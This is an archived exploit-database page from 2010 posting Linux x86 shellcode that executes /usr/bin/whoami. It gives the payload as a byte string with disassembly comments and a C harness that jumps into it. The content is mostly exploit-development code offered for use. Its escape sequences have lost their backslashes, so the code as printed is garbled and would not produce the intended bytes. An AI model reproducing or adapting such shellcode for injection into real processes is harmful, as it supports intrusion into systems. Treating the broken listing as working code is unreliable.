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linux/x86 whoami shellcode 39 bytes

Posted on 03 June 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 whoami shellcode 39 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>===================================
linux/x86 whoami shellcode 39 bytes
===================================


/*
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /'             __  /'__`        / \__  /'__`                   0
0  /\_,     ___   /\_/\_      ___  ,_/ /   _ ___           1
1  /_/  /' _ ` / /_/_\_&lt;_  /'___  /    /`'__          0
0       / /    /   / \__/  \_  \_   /           1
1       \_ \_ \_\_   \____/ \____\ \__\ \____/ \_           0
0       /_//_//_/ \_ /___/  /____/ /__/ /___/  /_/           1
1                   \____/ &gt;&gt; Exploit database separated by exploit   0
0                   /___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Name   : 39 bytes whoami linux x86 shellcode
Date   : Thu Jun  3 05:38:48 2010
Author : gunslinger_ &lt;yudha.gunslinger[at]gmail.com&gt;
Web    : http://devilzc0de.org
blog   : http://gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org)
greetz to : flyff666, whitehat, ketek, chaer, peneter, and all devilzc0de crew
*/
#include &lt;stdio.h&gt;

char *shellcode=
		&quot;xebx11&quot;                    /* jmp    0x8048073 */
		&quot;x31xc0&quot;                    /* xor    %eax,%eax */
		&quot;xb0x0b&quot;                    /* mov    $0xb,%al */
		&quot;x5b&quot;                        /* pop    %ebx */
		&quot;x89xd1&quot;                    /* mov    %edx,%ecx */
		&quot;xcdx80&quot;                    /* int    $0x80 */
		&quot;x31xc0&quot;                    /* xor    %eax,%eax */
		&quot;xb0x01&quot;                    /* mov    $0x1,%al */
		&quot;x31xdb&quot;                    /* xor    %ebx,%ebx */
		&quot;xcdx80&quot;                    /* int    $0x80 */
		&quot;xe8xeaxffxffxff&quot;        /* call   0x8048062 */
		&quot;x2f&quot;                        /* das     */
		&quot;x75x73&quot;                    /* jne    0x80480ee */
		&quot;x72x2f&quot;                    /* jb     0x80480ac */
		&quot;x62x69x6e&quot;                /* bound  %ebp,0x6e(%ecx) */
		&quot;x2f&quot;                        /* das     */
		&quot;x77x68&quot;                    /* ja     0x80480eb */
		&quot;x6f&quot;                        /* outsl  %ds		&quot;(%esi),(%dx) */
		&quot;x61&quot;                        /* popa    */
		&quot;x6d&quot;                        /* insl   (%dx),%es		&quot;(%edi) */
		&quot;x69&quot;;                       /* .byte 0x69 */

int main(void)
{
		fprintf(stdout,&quot;Length: %d
&quot;,strlen(shellcode));
		((void (*)(void)) shellcode)();
		return 0;
}


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-03]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

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